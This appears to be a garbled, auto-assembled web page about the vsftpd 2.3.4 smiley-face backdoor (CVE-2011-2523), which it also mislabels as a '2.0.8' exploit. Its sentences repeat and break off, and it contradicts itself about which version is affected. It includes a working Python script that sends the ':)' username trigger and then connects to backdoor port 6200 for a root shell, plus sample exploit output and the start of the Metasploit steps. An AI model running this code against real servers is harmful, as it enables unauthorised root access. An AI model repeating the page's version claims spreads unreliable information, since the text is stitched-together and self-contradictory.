(Very Secure FTP Daemon) is one of the most popular FTP servers for Unix-like systems, including Linux distributions like Ubuntu, Debian, CentOS, and Red Hat. It gained a reputation for being lightweight, fast, and (as the name suggests) secure — until version 2.0.8.
The best way to understand this exploit is to build an isolated lab. A typical setup uses:
: Run vsftpd -v to ensure you are not running version 2.3.4. vsftpd 208 exploit github link
The vsftpd 2.0.8 exploit is a well-known vulnerability in the vsftpd (Very Secure FTP Daemon) software, which is a popular FTP server used in many Linux distributions.
If a user logs into the FTP server and provides a username ending with a smiley face—specifically :) —the backdoor is triggered. (Very Secure FTP Daemon) is one of the
[+] Checking FTP Version... [+] Triggering backdoor... [+] Connecting to backdoor.... [+] Got Shell $ whoami root
This modified code contained a deliberate backdoor. Although the malicious code was discovered and removed within a few days, copies of the infected software remained in the wild and are still used today in intentional vulnerable training environments like . How the Exploit Works A typical setup uses: : Run vsftpd -v
The term "vsftpd 208" is likely a misconception or typo resulting from a misunderstanding of the version or a specific lab scenario. The actual vulnerability is CVE-2011-2523, which affects VSFTPD version 2.3.4 released between June 30 and July 1, 2011. What is the VSFTPD 2.3.4 Backdoor?
For more information on the vsftpd 2.0.8 exploit and how to protect your system, consider the following resources:
: The official Ruby implementation of the vsftpd 2.3.4 backdoor exploit module used globally by security professionals.
import socket # Connect to the FTP service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("TARGET_IP", 21)) s.recv(1024) # Send the backdoor trigger username s.send(b"USER ftp:)\r\n") s.recv(1024) s.send(b"PASS password\r\n") s.close() # Connect to the newly opened backdoor port backdoor = socket.socket(socket.AF_INET, socket.SOCK_STREAM) backdoor.connect(("TARGET_IP", 6200)) print("Root shell opened!") Use code with caution. 3. Using Metasploit If you use Kali Linux, the exploit is built-in: Open the console: msfconsole